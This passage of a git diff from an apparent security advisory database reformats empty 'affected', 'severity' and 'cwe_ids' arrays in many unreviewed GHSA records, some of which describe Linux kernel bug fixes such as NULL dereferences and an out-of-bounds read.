"github_reviewed": false, "github_reviewed_at": null, diff --git a/advisories/unreviewed/2024/03/GHSA-7p33-pjfm-c7hj/GHSA-7p33-pjfm-c7hj.json b/advisories/unreviewed/2024/03/GHSA-7p33-pjfm-c7hj/GHSA-7p33-pjfm-c7hj.json index ae7e979eb66..ac3b23ca478 100644 --- a/advisories/unreviewed/2024/03/GHSA-7p33-pjfm-c7hj/GHSA-7p33-pjfm-c7hj.json +++ b/advisories/unreviewed/2024/03/GHSA-7p33-pjfm-c7hj/GHSA-7p33-pjfm-c7hj.json @@ -13,9 +13,7 @@ "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L" } ], - "affected": [ - - ], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2024/03/GHSA-8qqh-mhqw-2cp3/GHSA-8qqh-mhqw-2cp3.json b/advisories/unreviewed/2024/03/GHSA-8qqh-mhqw-2cp3/GHSA-8qqh-mhqw-2cp3.json index 0f6420336fb..70185c4a720 100644 --- a/advisories/unreviewed/2024/03/GHSA-8qqh-mhqw-2cp3/GHSA-8qqh-mhqw-2cp3.json +++ b/advisories/unreviewed/2024/03/GHSA-8qqh-mhqw-2cp3/GHSA-8qqh-mhqw-2cp3.json @@ -7,12 +7,8 @@ "CVE-2023-52624" ], "details": "In the Linux kernel, the following vulnerability has been resolved:\n\ndrm/amd/display: Wake DMCUB before executing GPINT commands\n\n[Why]\nDMCUB can be in idle when we attempt to interface with the HW through\nthe GPINT mailbox resulting in a system hang.\n\n[How]\nAdd dc_wake_and_execute_gpint() to wrap the wake, execute, sleep\nsequence.\n\nIf the GPINT executes successfully then DMCUB will be put back into\nsleep after the optional response is returned.\n\nIt functions similar to the inbox command interface.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", @@ -28,9 +24,7 @@ } ], "database_specific": { - "cwe_ids": [ - - ], + "cwe_ids": [], "severity": null, "github_reviewed": false, "github_reviewed_at": null, diff --git a/advisories/unreviewed/2024/03/GHSA-8rgx-p5cx-vq85/GHSA-8rgx-p5cx-vq85.json b/advisories/unreviewed/2024/03/GHSA-8rgx-p5cx-vq85/GHSA-8rgx-p5cx-vq85.json index d84ab1d31e6..88b9a3cf34b 100644 --- a/advisories/unreviewed/2024/03/GHSA-8rgx-p5cx-vq85/GHSA-8rgx-p5cx-vq85.json +++ b/advisories/unreviewed/2024/03/GHSA-8rgx-p5cx-vq85/GHSA-8rgx-p5cx-vq85.json @@ -13,9 +13,7 @@ "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L" } ], - "affected": [ - - ], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2024/03/GHSA-9rc6-45fq-m9ff/GHSA-9rc6-45fq-m9ff.json b/advisories/unreviewed/2024/03/GHSA-9rc6-45fq-m9ff/GHSA-9rc6-45fq-m9ff.json index d1f1843c914..8571d39ed8a 100644 --- a/advisories/unreviewed/2024/03/GHSA-9rc6-45fq-m9ff/GHSA-9rc6-45fq-m9ff.json +++ b/advisories/unreviewed/2024/03/GHSA-9rc6-45fq-m9ff/GHSA-9rc6-45fq-m9ff.json @@ -13,9 +13,7 @@ "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L" } ], - "affected": [ - - ], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2024/03/GHSA-chjp-q8w3-cj2w/GHSA-chjp-q8w3-cj2w.json b/advisories/unreviewed/2024/03/GHSA-chjp-q8w3-cj2w/GHSA-chjp-q8w3-cj2w.json index 4936d24e71e..ee151edbb15 100644 --- a/advisories/unreviewed/2024/03/GHSA-chjp-q8w3-cj2w/GHSA-chjp-q8w3-cj2w.json +++ b/advisories/unreviewed/2024/03/GHSA-chjp-q8w3-cj2w/GHSA-chjp-q8w3-cj2w.json @@ -13,9 +13,7 @@ "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H" } ], - "affected": [ - - ], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2024/03/GHSA-ffvh-g6f4-8c4v/GHSA-ffvh-g6f4-8c4v.json b/advisories/unreviewed/2024/03/GHSA-ffvh-g6f4-8c4v/GHSA-ffvh-g6f4-8c4v.json index 41d49d42878..ffdbc5e1873 100644 --- a/advisories/unreviewed/2024/03/GHSA-ffvh-g6f4-8c4v/GHSA-ffvh-g6f4-8c4v.json +++ b/advisories/unreviewed/2024/03/GHSA-ffvh-g6f4-8c4v/GHSA-ffvh-g6f4-8c4v.json @@ -13,9 +13,7 @@ "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H" } ], - "affected": [ - - ], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2024/03/GHSA-gxqp-64jf-hj53/GHSA-gxqp-64jf-hj53.json b/advisories/unreviewed/2024/03/GHSA-gxqp-64jf-hj53/GHSA-gxqp-64jf-hj53.json index d7b593a852a..46ea6fdb63d 100644 --- a/advisories/unreviewed/2024/03/GHSA-gxqp-64jf-hj53/GHSA-gxqp-64jf-hj53.json +++ b/advisories/unreviewed/2024/03/GHSA-gxqp-64jf-hj53/GHSA-gxqp-64jf-hj53.json @@ -7,12 +7,8 @@ "CVE-2024-26647" ], "details": "In the Linux kernel, the following vulnerability has been resolved:\n\ndrm/amd/display: Fix late derefrence 'dsc' check in 'link_set_dsc_pps_packet()'\n\nIn link_set_dsc_pps_packet(), 'struct display_stream_compressor *dsc'\nwas dereferenced in a DC_LOGGER_INIT(dsc->ctx->logger); before the 'dsc'\nNULL pointer check.\n\nFixes the below:\ndrivers/gpu/drm/amd/amdgpu/../display/dc/link/link_dpms.c:905 link_set_dsc_pps_packet() warn: variable dereferenced before check 'dsc' (see line 903)", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", @@ -32,9 +28,7 @@ } ], "database_specific": { - "cwe_ids": [ - - ], + "cwe_ids": [], "severity": null, "github_reviewed": false, "github_reviewed_at": null, diff --git a/advisories/unreviewed/2024/03/GHSA-hmhr-xf6m-r87c/GHSA-hmhr-xf6m-r87c.json b/advisories/unreviewed/2024/03/GHSA-hmhr-xf6m-r87c/GHSA-hmhr-xf6m-r87c.json index 8c93d75b3e0..d4117dbac7b 100644 --- a/advisories/unreviewed/2024/03/GHSA-hmhr-xf6m-r87c/GHSA-hmhr-xf6m-r87c.json +++ b/advisories/unreviewed/2024/03/GHSA-hmhr-xf6m-r87c/GHSA-hmhr-xf6m-r87c.json @@ -13,9 +13,7 @@ "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:L/I:L/A:L" } ], - "affected": [ - - ], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2024/03/GHSA-m53v-6g22-qcv6/GHSA-m53v-6g22-qcv6.json b/advisories/unreviewed/2024/03/GHSA-m53v-6g22-qcv6/GHSA-m53v-6g22-qcv6.json index 3a45cbe559d..1b488033edc 100644 --- a/advisories/unreviewed/2024/03/GHSA-m53v-6g22-qcv6/GHSA-m53v-6g22-qcv6.json +++ b/advisories/unreviewed/2024/03/GHSA-m53v-6g22-qcv6/GHSA-m53v-6g22-qcv6.json @@ -13,9 +13,7 @@ "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N" } ], - "affected": [ - - ], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2024/03/GHSA-phgj-f9rj-3h57/GHSA-phgj-f9rj-3h57.json b/advisories/unreviewed/2024/03/GHSA-phgj-f9rj-3h57/GHSA-phgj-f9rj-3h57.json index 5e71648616b..a36770d8884 100644 --- a/advisories/unreviewed/2024/03/GHSA-phgj-f9rj-3h57/GHSA-phgj-f9rj-3h57.json +++ b/advisories/unreviewed/2024/03/GHSA-phgj-f9rj-3h57/GHSA-phgj-f9rj-3h57.json @@ -13,9 +13,7 @@ "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L" } ], - "affected": [ - - ], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2024/03/GHSA-pmx2-4vwx-fc3h/GHSA-pmx2-4vwx-fc3h.json b/advisories/unreviewed/2024/03/GHSA-pmx2-4vwx-fc3h/GHSA-pmx2-4vwx-fc3h.json index 09f95e6c049..e74843e3962 100644 --- a/advisories/unreviewed/2024/03/GHSA-pmx2-4vwx-fc3h/GHSA-pmx2-4vwx-fc3h.json +++ b/advisories/unreviewed/2024/03/GHSA-pmx2-4vwx-fc3h/GHSA-pmx2-4vwx-fc3h.json @@ -7,12 +7,8 @@ "CVE-2023-52621" ], "details": "In the Linux kernel, the following vulnerability has been resolved:\n\nbpf: Check rcu_read_lock_trace_held() before calling bpf map helpers\n\nThese three bpf_map_{lookup,update,delete}_elem() helpers are also\navailable for sleepable bpf program, so add the corresponding lock\nassertion for sleepable bpf program, otherwise the following warning\nwill be reported when a sleepable bpf program manipulates bpf map under\ninterpreter mode (aka bpf_jit_enable=0):\n\n WARNING: CPU: 3 PID: 4985 at kernel/bpf/helpers.c:40 ......\n CPU: 3 PID: 4985 Comm: test_progs Not tainted 6.6.0+ #2\n Hardware name: QEMU Standard PC (i440FX + PIIX, 1996) ......\n RIP: 0010:bpf_map_lookup_elem+0x54/0x60\n ......\n Call Trace:\n \n ? __warn+0xa5/0x240\n ? bpf_map_lookup_elem+0x54/0x60\n ? report_bug+0x1ba/0x1f0\n ? handle_bug+0x40/0x80\n ? exc_invalid_op+0x18/0x50\n ? asm_exc_invalid_op+0x1b/0x20\n ? __pfx_bpf_map_lookup_elem+0x10/0x10\n ? rcu_lockdep_current_cpu_online+0x65/0xb0\n ? rcu_is_watching+0x23/0x50\n ? bpf_map_lookup_elem+0x54/0x60\n ? __pfx_bpf_map_lookup_elem+0x10/0x10\n ___bpf_prog_run+0x513/0x3b70\n __bpf_prog_run32+0x9d/0xd0\n ? __bpf_prog_enter_sleepable_recur+0xad/0x120\n ? __bpf_prog_enter_sleepable_recur+0x3e/0x120\n bpf_trampoline_6442580665+0x4d/0x1000\n __x64_sys_getpgid+0x5/0x30\n ? do_syscall_64+0x36/0xb0\n entry_SYSCALL_64_after_hwframe+0x6e/0x76\n ", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", @@ -36,9 +32,7 @@ } ], "database_specific": { - "cwe_ids": [ - - ], + "cwe_ids": [], "severity": null, "github_reviewed": false, "github_reviewed_at": null, diff --git a/advisories/unreviewed/2024/03/GHSA-px53-89vh-3q6f/GHSA-px53-89vh-3q6f.json b/advisories/unreviewed/2024/03/GHSA-px53-89vh-3q6f/GHSA-px53-89vh-3q6f.json index d327c3d83f8..20d2b3f67ea 100644 --- a/advisories/unreviewed/2024/03/GHSA-px53-89vh-3q6f/GHSA-px53-89vh-3q6f.json +++ b/advisories/unreviewed/2024/03/GHSA-px53-89vh-3q6f/GHSA-px53-89vh-3q6f.json @@ -13,9 +13,7 @@ "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H" } ], - "affected": [ - - ], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2024/03/GHSA-q6px-8pwj-ppvh/GHSA-q6px-8pwj-ppvh.json b/advisories/unreviewed/2024/03/GHSA-q6px-8pwj-ppvh/GHSA-q6px-8pwj-ppvh.json index 678b53ac093..9977a3c0d03 100644 --- a/advisories/unreviewed/2024/03/GHSA-q6px-8pwj-ppvh/GHSA-q6px-8pwj-ppvh.json +++ b/advisories/unreviewed/2024/03/GHSA-q6px-8pwj-ppvh/GHSA-q6px-8pwj-ppvh.json @@ -7,12 +7,8 @@ "CVE-2024-26649" ], "details": "In the Linux kernel, the following vulnerability has been resolved:\n\ndrm/amdgpu: Fix the null pointer when load rlc firmware\n\nIf the RLC firmware is invalid because of wrong header size,\nthe pointer to the rlc firmware is released in function\namdgpu_ucode_request. There will be a null pointer error\nin subsequent use. So skip validation to fix it.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", @@ -32,9 +28,7 @@ } ], "database_specific": { - "cwe_ids": [ - - ], + "cwe_ids": [], "severity": null, "github_reviewed": false, "github_reviewed_at": null, diff --git a/advisories/unreviewed/2024/03/GHSA-qggq-gw32-wcq3/GHSA-qggq-gw32-wcq3.json b/advisories/unreviewed/2024/03/GHSA-qggq-gw32-wcq3/GHSA-qggq-gw32-wcq3.json index 16c9c016ba2..ea2a666439c 100644 --- a/advisories/unreviewed/2024/03/GHSA-qggq-gw32-wcq3/GHSA-qggq-gw32-wcq3.json +++ b/advisories/unreviewed/2024/03/GHSA-qggq-gw32-wcq3/GHSA-qggq-gw32-wcq3.json @@ -7,12 +7,8 @@ "CVE-2023-52626" ], "details": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet/mlx5e: Fix operation precedence bug in port timestamping napi_poll context\n\nIndirection (*) is of lower precedence than postfix increment (++). Logic\nin napi_poll context would cause an out-of-bound read by first increment\nthe pointer address by byte address space and then dereference the value.\nRather, the intended logic was to dereference first and then increment the\nunderlying value.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", @@ -32,9 +28,7 @@ } ], "database_specific": { - "cwe_ids": [ - - ], + "cwe_ids": [], "severity": null, "github_reviewed": false, "github_reviewed_at": null, diff --git a/advisories/unreviewed/2024/03/GHSA-r8r7-4wvf-px33/GHSA-r8r7-4wvf-px33.json b/advisories/unreviewed/2024/03/GHSA-r8r7-4wvf-px33/GHSA-r8r7-4wvf-px33.json index dddf17722af..6c8e079989b 100644 --- a/advisories/unreviewed/2024/03/GHSA-r8r7-4wvf-px33/GHSA-r8r7-4wvf-px33.json +++ b/advisories/unreviewed/2024/03/GHSA-r8r7-4wvf-px33/GHSA-r8r7-4wvf-px33.json @@ -13,9 +13,7 @@ "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H" } ], - "affected": [ - - ], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2024/03/GHSA-vw2x-qjjw-279v/GHSA-vw2x-qjjw-279v.json b/advisories/unreviewed/2024/03/GHSA-vw2x-qjjw-279v/GHSA-vw2x-qjjw-279v.json index 3768454a83e..43bbd1ec895 100644 --- a/advisories/unreviewed/2024/03/GHSA-vw2x-qjjw-279v/GHSA-vw2x-qjjw-279v.json +++ b/advisories/unreviewed/2024/03/GHSA-vw2x-qjjw-279v/GHSA-vw2x-qjjw-279v.json @@ -13,9 +13,7 @@ "score": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H" } ], - "affected": [ - - ], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2024/03/GHSA-wrwp-f8pq-q3qj/GHSA-wrwp-f8pq-q3qj.json b/advisories/unreviewed/2024/03/GHSA-wrwp-f8pq-q3qj/GHSA-wrwp-f8pq-q3qj.json index 69bbe8aa219..906141a18bf 100644 --- a/advisories/unreviewed/2024/03/GHSA-wrwp-f8pq-q3qj/GHSA-wrwp-f8pq-q3qj.json +++ b/advisories/unreviewed/2024/03/GHSA-wrwp-f8pq-q3qj/GHSA-wrwp-f8pq-q3qj.json @@ -7,12 +7,8 @@ "CVE-2024-26646" ], "details": "In the Linux kernel, the following vulnerability has been resolved:\n\nthermal: intel: hfi: Add syscore callbacks for system-wide PM\n\nThe kernel allocates a memory buffer and provides its location to the\nhardware, which uses it to update the HFI table. This allocation occurs\nduring boot and remains constant throughout runtime.\n\nWhen resuming from hibernation, the restore kernel allocates a second\nmemory buffer and reprograms the HFI hardware with the new location as\npart of a normal boot. The location of the second memory buffer may\ndiffer from the one allocated by the image kernel.\n\nWhen the restore kernel transfers control to the image kernel, its HFI\nbuffer becomes invalid, potentially leading to memory corruption if the\nhardware writes to it (the hardware continues to use the buffer from the\nrestore kernel).\n\nIt is also possible that the hardware \"forgets\" the address of the memory\nbuffer when resuming from \"deep\" suspend. Memory corruption may also occur\nin such a scenario.\n\nTo prevent the described memory corruption, disable HFI when preparing to\nsuspend or hibernate. Enable it when resuming.\n\nAdd syscore callbacks to handle the package of the boot CPU (packages of\nnon-boot CPUs are handled via CPU offline). Syscore ops always run on the\nboot CPU. Additionally, HFI only needs to be disabled during \"deep\" suspend\nand hibernation. Syscore ops only run in these cases.\n\n[ rjw: Comment adjustment, subject and changelog edits ]", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", @@ -36,9 +32,7 @@ } ], "database_specific": { - "cwe_ids": [ - - ], + "cwe_ids": [], "severity": null, "github_reviewed": false, "github_reviewed_at": null, diff --git a/advisories/unreviewed/2024/04/GHSA-3p62-2p5c-mgqj/GHSA-3p62-2p5c-mgqj.json b/advisories/unreviewed/2024/04/GHSA-3p62-2p5c-mgqj/GHSA-3p62-2p5c-mgqj.json index 1127ee0189f..a649a35d464 100644 --- a/advisories/unreviewed/2024/04/GHSA-3p62-2p5c-mgqj/GHSA-3p62-2p5c-mgqj.json +++ b/advisories/unreviewed/2024/04/GHSA-3p62-2p5c-mgqj/GHSA-3p62-2p5c-mgqj.json @@ -13,9 +13,7 @@ "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H" } ], - "affected": [ - - ], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2024/05/GHSA-342r-vqfp-whvg/GHSA-342r-vqfp-whvg.json b/advisories/unreviewed/2024/05/GHSA-342r-vqfp-whvg/GHSA-342r-vqfp-whvg.json index 2f9c736fbb8..918d6cbb659 100644 --- a/advisories/unreviewed/2024/05/GHSA-342r-vqfp-whvg/GHSA-342r-vqfp-whvg.json +++ b/advisories/unreviewed/2024/05/GHSA-342r-vqfp-whvg/GHSA-342r-vqfp-whvg.json @@ -13,9 +13,7 @@ "score": "CVSS:3.0/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H" } ], - "affected": [ - - ], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2024/05/GHSA-39c2-v99x-x5rc/GHSA-39c2-v99x-x5rc.json b/advisories/unreviewed/2024/05/GHSA-39c2-v99x-x5rc/GHSA-39c2-v99x-x5rc.json index e180156ba03..2fb59a0167e 100644 --- a/advisories/unreviewed/2024/05/GHSA-39c2-v99x-x5rc/GHSA-39c2-v99x-x5rc.json +++ b/advisories/unreviewed/2024/05/GHSA-39c2-v99x-x5rc/GHSA-39c2-v99x-x5rc.json @@ -13,9 +13,7 @@ "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H" } ], - "affected": [ - - ], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2024/05/GHSA-634c-vj35-ch85/GHSA-634c-vj35-ch85.json b/advisories/unreviewed/2024/05/GHSA-634c-vj35-ch85/GHSA-634c-vj35-ch85.json index ee38284fcc0..b69b47efbaa 100644 --- a/advisories/unreviewed/2024/05/GHSA-634c-vj35-ch85/GHSA-634c-vj35-ch85.json +++ b/advisories/unreviewed/2024/05/GHSA-634c-vj35-ch85/GHSA-634c-vj35-ch85.json @@ -13,9 +13,7 @@ "score": "CVSS:3.0/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H" } ], - "affected": [ - - ], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2024/05/GHSA-6x6x-4rjq-gfqh/GHSA-6x6x-4rjq-gfqh.json b/advisories/unreviewed/2024/05/GHSA-6x6x-4rjq-gfqh/GHSA-6x6x-4rjq-gfqh.json index 752620184c1..9790c2ff3c8 100644 --- a/advisories/unreviewed/2024/05/GHSA-6x6x-4rjq-gfqh/GHSA-6x6x-4rjq-gfqh.json +++ b/advisories/unreviewed/2024/05/GHSA-6x6x-4rjq-gfqh/GHSA-6x6x-4rjq-gfqh.json @@ -13,9 +13,7 @@ "score": "CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H" } ], - "affected": [ - - ], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2024/05/GHSA-783x-27w3-5wff/GHSA-783x-27w3-5wff.json b/advisories/unreviewed/2024/05/GHSA-783x-27w3-5wff/GHSA-783x-27w3-5wff.json index a9ab78aac99..2f98090fbaf 100644 --- a/advisories/unreviewed/2024/05/GHSA-783x-27w3-5wff/GHSA-783x-27w3-5wff.json +++ b/advisories/unreviewed/2024/05/GHSA-783x-27w3-5wff/GHSA-783x-27w3-5wff.json @@ -13,9 +13,7 @@ "score": "CVSS:3.0/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H" } ], - "affected": [ - - ], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2024/05/GHSA-gmv6-m227-94c4/GHSA-gmv6-m227-94c4.json b/advisories/unreviewed/2024/05/GHSA-gmv6-m227-94c4/GHSA-gmv6-m227-94c4.json index 893710974b7..0e49f3356ad 100644 --- a/advisories/unreviewed/2024/05/GHSA-gmv6-m227-94c4/GHSA-gmv6-m227-94c4.json +++ b/advisories/unreviewed/2024/05/GHSA-gmv6-m227-94c4/GHSA-gmv6-m227-94c4.json @@ -13,9 +13,7 @@ "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N" } ], - "affected": [ - - ], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2024/05/GHSA-v39c-mqw5-429g/GHSA-v39c-mqw5-429g.json b/advisories/unreviewed/2024/05/GHSA-v39c-mqw5-429g/GHSA-v39c-mqw5-429g.json index 23d06789342..23fa060f49b 100644 --- a/advisories/unreviewed/2024/05/GHSA-v39c-mqw5-429g/GHSA-v39c-mqw5-429g.json +++ b/advisories/unreviewed/2024/05/GHSA-v39c-mqw5-429g/GHSA-v39c-mqw5-429g.json @@ -13,9 +13,7 @@ "score": "CVSS:3.0/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H" } ], - "affected": [ - - ], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2024/05/GHSA-wggh-wqhg-h7xc/GHSA-wggh-wqhg-h7xc.json b/advisories/unreviewed/2024/05/GHSA-wggh-wqhg-h7xc/GHSA-wggh-wqhg-h7xc.json index bd0920176e8..6949869ded5 100644 --- a/advisories/unreviewed/2024/05/GHSA-wggh-wqhg-h7xc/GHSA-wggh-wqhg-h7xc.json +++ b/advisories/unreviewed/2024/05/GHSA-wggh-wqhg-h7xc/GHSA-wggh-wqhg-h7xc.json @@ -13,9 +13,7 @@ "score": "CVSS:3.0/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H" } ], - "affected": [ - - ], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2024/07/GHSA-cm3g-9rxc-2598/GHSA-cm3g-9rxc-2598.json b/advisories/unreviewed/2024/07/GHSA-cm3g-9rxc-2598/GHSA-cm3g-9rxc-2598.json index 56dd8ec00e3..7faa93aff04 100644 --- a/advisories/unreviewed/2024/07/GHSA-cm3g-9rxc-2598/GHSA-cm3g-9rxc-2598.json +++ b/advisories/unreviewed/2024/07/GHSA-cm3g-9rxc-2598/GHSA-cm3g-9rxc-2598.json @@ -13,9 +13,7 @@ "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H" } ], - "affected": [ - - ], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2024/07/GHSA-h943-w3x2-738c/GHSA-h943-w3x2-738c.json b/advisories/unreviewed/2024/07/GHSA-h943-w3x2-738c/GHSA-h943-w3x2-738c.json index f22b92d0f6e..8138dc1b855 100644 --- a/advisories/unreviewed/2024/07/GHSA-h943-w3x2-738c/GHSA-h943-w3x2-738c.json +++ b/advisories/unreviewed/2024/07/GHSA-h943-w3x2-738c/GHSA-h943-w3x2-738c.json @@ -13,9 +13,7 @@ "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:L" } ], - "affected": [ - - ], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2024/07/GHSA-mhjg-j5hq-m4p7/GHSA-mhjg-j5hq-m4p7.json b/advisories/unreviewed/2024/07/GHSA-mhjg-j5hq-m4p7/GHSA-mhjg-j5hq-m4p7.json index b71bdf7e6c0..bb546fded23 100644 --- a/advisories/unreviewed/2024/07/GHSA-mhjg-j5hq-m4p7/GHSA-mhjg-j5hq-m4p7.json +++ b/advisories/unreviewed/2024/07/GHSA-mhjg-j5hq-m4p7/GHSA-mhjg-j5hq-m4p7.json @@ -13,9 +13,7 @@ "score": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H" } ], - "affected": [ - - ], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2024/08/GHSA-3g7g-8ghp-wcmp/GHSA-3g7g-8ghp-wcmp.json b/advisories/unreviewed/2024/08/GHSA-3g7g-8ghp-wcmp/GHSA-3g7g-8ghp-wcmp.json index 067e66fd6ce..f3a14e5ac45 100644 --- a/advisories/unreviewed/2024/08/GHSA-3g7g-8ghp-wcmp/GHSA-3g7g-8ghp-wcmp.json +++ b/advisories/unreviewed/2024/08/GHSA-3g7g-8ghp-wcmp/GHSA-3g7g-8ghp-wcmp.json @@ -13,9 +13,7 @@ "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N" } ], - "affected": [ - - ], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2024/08/GHSA-475c-8mw8-7m88/GHSA-475c-8mw8-7m88.json b/advisories/unreviewed/2024/08/GHSA-475c-8mw8-7m88/GHSA-475c-8mw8-7m88.json index 7a3d510db05..757753e5f37 100644 --- a/advisories/unreviewed/2024/08/GHSA-475c-8mw8-7m88/GHSA-475c-8mw8-7m88.json +++ b/advisories/unreviewed/2024/08/GHSA-475c-8mw8-7m88/GHSA-475c-8mw8-7m88.json @@ -13,9 +13,7 @@ "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H" } ], - "affected": [ - - ], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2024/08/GHSA-6v23-697g-2mx5/GHSA-6v23-697g-2mx5.json b/advisories/unreviewed/2024/08/GHSA-6v23-697g-2mx5/GHSA-6v23-697g-2mx5.json index 24c3e93f8d5..5a38cbd8632 100644 --- a/advisories/unreviewed/2024/08/GHSA-6v23-697g-2mx5/GHSA-6v23-697g-2mx5.json +++ b/advisories/unreviewed/2024/08/GHSA-6v23-697g-2mx5/GHSA-6v23-697g-2mx5.json @@ -13,9 +13,7 @@ "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L" } ], - "affected": [ - - ], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2024/08/GHSA-6v86-qcj2-7w7j/GHSA-6v86-qcj2-7w7j.json b/advisories/unreviewed/2024/08/GHSA-6v86-qcj2-7w7j/GHSA-6v86-qcj2-7w7j.json index d2b436427e5..d4978d9003d 100644 --- a/advisories/unreviewed/2024/08/GHSA-6v86-qcj2-7w7j/GHSA-6v86-qcj2-7w7j.json +++ b/advisories/unreviewed/2024/08/GHSA-6v86-qcj2-7w7j/GHSA-6v86-qcj2-7w7j.json @@ -13,9 +13,7 @@ "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L" } ], - "affected": [ - - ], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2024/08/GHSA-6xgm-r8j8-r5hq/GHSA-6xgm-r8j8-r5hq.json b/advisories/unreviewed/2024/08/GHSA-6xgm-r8j8-r5hq/GHSA-6xgm-r8j8-r5hq.json index 41a2f120517..f5e4fe73cb2 100644 --- a/advisories/unreviewed/2024/08/GHSA-6xgm-r8j8-r5hq/GHSA-6xgm-r8j8-r5hq.json +++ b/advisories/unreviewed/2024/08/GHSA-6xgm-r8j8-r5hq/GHSA-6xgm-r8j8-r5hq.json @@ -13,9 +13,7 @@ "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H" } ], - "affected": [ - - ], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2024/08/GHSA-784x-7qm2-gp97/GHSA-784x-7qm2-gp97.json b/advisories/unreviewed/2024/08/GHSA-784x-7qm2-gp97/GHSA-784x-7qm2-gp97.json index c915e7e7ddf..62c8f96f0e0 100644 --- a/advisories/unreviewed/2024/08/GHSA-784x-7qm2-gp97/GHSA-784x-7qm2-gp97.json +++ b/advisories/unreviewed/2024/08/GHSA-784x-7qm2-gp97/GHSA-784x-7qm2-gp97.json @@ -13,9 +13,7 @@ "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L" } ], - "affected": [ - - ], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2024/08/GHSA-7pwv-g7hj-39pr/GHSA-7pwv-g7hj-39pr.json b/advisories/unreviewed/2024/08/GHSA-7pwv-g7hj-39pr/GHSA-7pwv-g7hj-39pr.json index c6553b941a3..323c9a9d82a 100644 --- 